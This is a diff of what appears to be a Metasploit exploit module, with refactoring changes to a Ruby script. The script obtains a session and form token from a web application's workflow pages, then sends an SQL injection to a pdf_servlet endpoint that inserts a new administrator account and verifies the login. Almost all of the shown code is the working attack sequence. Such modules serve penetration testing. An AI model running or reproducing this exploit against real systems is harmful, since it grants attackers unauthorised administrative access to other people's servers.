@@ -36,14 +36,13 @@ def initialize(info = {})
36
36
37
37
register_options ( [
38
38
OptString . new ( 'TARGETURI' , [ true , 'Base path' , '/' ] ) ,
39
- OptString . new ( 'NEW_USERNAME' , [ true , 'Username to be used when creating a new user with admin privileges' , Faker ::Internet . username ] , regex : /^[a-z._@]+$/ ) ,
39
+ OptString . new ( 'NEW_USERNAME' , [ true , 'Username to be used when creating a new user with admin privileges' , Faker ::Internet . username ] ) ,
40
40
OptString . new ( 'NEW_PASSWORD' , [ true , 'Password to be used when creating a new user with admin privileges' , Rex ::Text . rand_text_alpha ( 8 ) ] ) ,
41
41
OptString . new ( 'NEW_EMAIL' , [ true , 'E-mail to be used when creating a new user with admin privileges' , Faker ::Internet . email ] )
42
42
] )
43
43
end
44
44
45
45
def run
46
- # 1) Request workflow to obtain a session ID
47
46
print_status ( 'Starting SQL injection workflow...' )
48
47
49
48
res = send_request_cgi (
@@ -69,7 +68,6 @@ def run
69
68
fail_with ( Failure ::UnexpectedReply , 'JSESSIONID not found.' )
70
69
end
71
70
72
- # 2) logon.jsp to retrieve a valid FCWEB.FORM.TOKEN
73
71
res = send_request_cgi (
74
72
'method' => 'GET' ,
75
73
'uri' => normalize_uri ( target_uri . path , "workflow/jsp/logon.jsp;jsessionid=#{ jsessionid } " ) ,
@@ -82,15 +80,14 @@ def run
82
80
fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
83
81
end
84
82
85
- res = res . body
86
- if res =~ /name="FCWEB\. FORM\. TOKEN" value="([^"]+)"/
83
+ body = res . body
84
+ if body =~ /name="FCWEB\. FORM\. TOKEN" value="([^"]+)"/
87
85
token_value = ::Regexp . last_match ( 1 )
88
86
print_status ( "FCWEB.FORM.TOKEN value: #{ token_value } " )
89
87
else
90
88
fail_with ( Failure ::UnexpectedReply , 'FCWEB.FORM.TOKEN not found.' )
91
89
end
92
90
93
- # 3) logonAnonymous.do
94
91
res = send_request_cgi (
95
92
'method' => 'GET' ,
96
93
'uri' => normalize_uri ( target_uri . path , "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{ token_value } " ) ,
@@ -111,7 +108,6 @@ def run
111
108
fail_with ( Failure ::UnexpectedReply , 'Location header not found.' )
112
109
end
113
110
114
- # 4) createNewJob.do
115
111
res = send_request_cgi (
116
112
'method' => 'GET' ,
117
113
'uri' => normalize_uri ( target_uri . path , location_value . to_s ) ,
@@ -132,7 +128,6 @@ def run
132
128
fail_with ( Failure ::UnexpectedReply , 'Location header not found.' )
133
129
end
134
130
135
- # 5) chooseOrderForm.jsp
136
131
res = send_request_cgi (
137
132
'method' => 'GET' ,
138
133
'uri' => normalize_uri ( target_uri . path , location_value . to_s ) ,
@@ -153,13 +148,12 @@ def run
153
148
if h2_text == 'Choose an Order Type'
154
149
print_status ( 'Received expected response.' )
155
150
else
156
- fail_with ( Failure ::UnexpectedReply , 'Unexpected string found inside h2 tag.' )
151
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected string found inside h2 tag: ' + h2_text )
157
152
end
158
153
else
159
154
fail_with ( Failure ::UnexpectedReply , 'h2 tag not found.' )
160
155
end
161
156
162
- # 5) pdf_servlet (SQL injection)
163
157
t = Time . now
164
158
username = datastore [ 'NEW_USERNAME' ]
165
159
password = Digest ::MD5 . hexdigest ( datastore [ 'NEW_PASSWORD' ] ) . upcase
@@ -214,21 +208,12 @@ def run
214
208
fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
215
209
end
216
210
217
- case res . code
218
- when 200
219
- if res . body . to_s == ''
220
- print_good ( 'SQL injection successful!' )
221
- else
222
- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
223
- end
224
- else
225
- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
226
- end
211
+ fail_with ( Failure ::UnexpectedReply , "Unexpected HTTP code from the target: #{ res . code } " ) unless res . code == 200
212
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' ) unless res . body . to_s == ''
213
+ print_good ( 'SQL injection successful!' )
227
214
228
- # Confirm that the credentials work
229
215
print_status ( 'Confirming credentials...' )
230
216
231
- # 1) logon.jsp to retrieve a valid FCWEB.FORM.TOKEN
232
217
res = send_request_cgi (
233
218
'method' => 'GET' ,
234
219
'uri' => normalize_uri ( target_uri . path , 'workflow/jsp/logon.jsp' ) ,
@@ -237,19 +222,16 @@ def run
237
222
}
238
223
)
239
224
240
- unless res
241
- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
242
- end
225
+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' ) unless res
243
226
244
- res = res . body
245
- if res =~ /name="FCWEB\. FORM\. TOKEN" value="([^"]+)"/
227
+ body = res . body
228
+ if body =~ /name="FCWEB\. FORM\. TOKEN" value="([^"]+)"/
246
229
token_value = ::Regexp . last_match ( 1 )
247
230
print_status ( "FCWEB.FORM.TOKEN value: #{ token_value } " )
248
231
else
249
232
fail_with ( Failure ::UnexpectedReply , 'FCWEB.FORM.TOKEN not found.' )
250
233
end
251
234
252
- # 2) Authenticate
253
235
res = send_request_cgi (
254
236
'method' => 'POST' ,
255
237
'uri' => normalize_uri ( target_uri . path , 'workflow/logon.do' ) ,
0 commit comments